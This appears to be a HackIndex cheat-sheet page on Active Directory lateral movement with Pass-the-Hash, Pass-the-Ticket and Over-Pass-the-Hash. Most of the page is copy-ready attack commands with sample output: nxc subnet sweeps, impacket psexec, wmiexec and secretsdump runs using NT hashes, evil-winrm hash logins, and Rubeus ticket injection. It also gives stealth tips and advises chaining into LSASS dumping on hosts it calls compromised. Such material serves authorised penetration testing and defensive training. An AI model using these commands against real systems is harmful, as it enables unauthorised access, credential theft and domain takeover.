Skip to content
HackIndex logo

HackIndex

Pass-the-Hash and Pass-the-Ticket

5 min read Jul 10, 2026

Pass-the-Hash and Pass-the-Ticket are the two primary lateral movement mechanisms in Active Directory. Pass-the-Hash uses an NTLM hash directly as an authenticator against services that accept NTLM. Pass-the-Ticket injects a Kerberos TGT or TGS into the current session to authenticate against services that require Kerberos. Both techniques require no plaintext password and work as long as the hash or ticket is valid.

Hashes come from DCSync, LSASS dumps, or SAM extraction. Tickets come from Rubeus, ccache files, or impacket. The choice between PtH and PtT depends on what the target service accepts and what credential material you have.

Pass-the-Hash with nxc

nxc is the fastest way to validate a hash and identify where it works across the network. Run a subnet sweep before targeting individual hosts.

┌──(kali㉿kali)-[~]
└─$ # Sweep a subnet — identify all hosts where the hash is valid
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Local admin hash — use --local-auth
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u Administrator -H $NTHASH --local-auth
 
┌──(kali㉿kali)-[~]
└─$ # Confirm specific host
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Execute command via PtH
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH -x 'whoami /all' 
SMB  10.10.10.20  445  WS01  [+] corp.local\jsmith:aad3... (Pwn3d!)
SMB  10.10.10.30  445  WS02  [+] corp.local\jsmith:aad3... (Pwn3d!)

Pass-the-Hash with impacket

Impacket tools accept hashes in LM:NT format. Use a null LM component when only the NT hash is available. Each tool gives a different execution primitive — use the one that fits the target environment.

┌──(kali㉿kali)-[~]
└─$ # psexec — drops a service binary, noisy but reliable
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # wmiexec — WMI-based, no binary drop
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # smbexec — service-based, does not drop a binary to disk
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # secretsdump — dump hashes from remote host
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # smbclient — browse shares
┌──(kali㉿kali)-[~]
└─$ impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH 
C:\Windows\system32> whoami
corp\jsmith

Pass-the-Hash with evil-winrm

evil-winrm accepts NT hashes directly for WinRM access. Useful when the target has port 5985 open and the account has WinRM access.

┌──(kali㉿kali)-[~]
└─$ # Connect with NT hash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Specify domain explicitly
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN 
*Evil-WinRM* PS C:\Users\jsmith\Documents>

For the full Evil-WinRM workflow once inside, see Evil-WinRM.

Pass-the-Ticket — inject a ccache ticket

Kerberos tickets obtained from DCSync, Rubeus, or delegation abuse are stored as .ccache files on Linux and .kirbi on Windows. Set KRB5CCNAME to point impacket tools at the ticket, or use Rubeus to inject it into the current Windows session.

On Kali: /usr/share/rubeus/Rubeus.exe

┌──(kali㉿kali)-[~]
└─$ # Set the ticket for the current session
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/path/to/ticket.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Verify ticket contents
┌──(kali㉿kali)-[~]
└─$ klist
 
┌──(kali㉿kali)-[~]
└─$ # Use with impacket — any tool supports -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Use with nxc
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p '' --use-kcache 
Credentials cache: FILE:/tmp/Administrator.ccache
  Principal: [email protected]
  Valid until: Apr 30 2026
PS C:\Users\Guest\Desktop> # Inject .kirbi ticket into current session
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe ptt /ticket:C:\Windows\Temp\Administrator.kirbi
 
PS C:\Users\Guest\Desktop> # Inject from base64 blob
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe ptt /ticket:$BASE64_TICKET
 
PS C:\Users\Guest\Desktop> # Verify loaded tickets
PS C:\Users\Guest\Desktop> klist
 
PS C:\Users\Guest\Desktop> # Access resources with injected ticket
PS C:\Users\Guest\Desktop> dir \\$DC_HOSTNAME\C$ 
[+] Ticket successfully imported!

Current LogonId: 0:0x4e865
  [0] [email protected]

Over-Pass-the-Hash

Over-Pass-the-Hash converts an NT hash into a Kerberos TGT. Useful when NTLM authentication is blocked or when a full Kerberos session is needed. Rubeus performs this as asktgt — it requests a TGT from the KDC using the NT hash as the encryption key.

PS C:\Users\Guest\Desktop> # Request TGT using NT hash — inject into current session
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /ptt
 
PS C:\Users\Guest\Desktop> # With AES256 key (less detectable)
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /aes256:$AES256KEY /ptt
 
PS C:\Users\Guest\Desktop> # Save to file for Linux use
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /outfile:ticket.kirbi 
[+] TGT request successful
[+] Ticket successfully imported!
┌──(kali㉿kali)-[~]
└─$ # Request TGT from Linux using NT hash
┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Use the resulting ccache
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass 
[*] Saving ticket in jsmith.ccache

When sweeping with a hash, look for Pwn3d! in nxc output — that indicates local admin access, not just authentication. Hosts where your hash gives local admin are immediate lateral movement targets. Feed hostnames from the sweep into Credential Harvesting to collect fresh hashes from LSASS on each compromised host. If the hash works against RDP, use RDP Pass-the-Hash for GUI access.

Related

evil-winrm – Full WinRM Shell Usage Guide
Blog

evil-winrm – Full WinRM Shell Usage Guide

Exploit WinRM with evil-winrm for interactive PowerShell shells using credentials, hashes, SSL, file...
Credential Harvesting
Blog

Credential Harvesting

Techniques for extracting credentials from AD environments post-compromise, covering LSASS dumping,...
RDP Pass-the-Hash – GUI Session from an NT Hash
Blog

RDP Pass-the-Hash – GUI Session from an NT Hash

Leverage NT hashes for RDP authentication using Restricted Admin mode, bypassing plaintext credentia...

References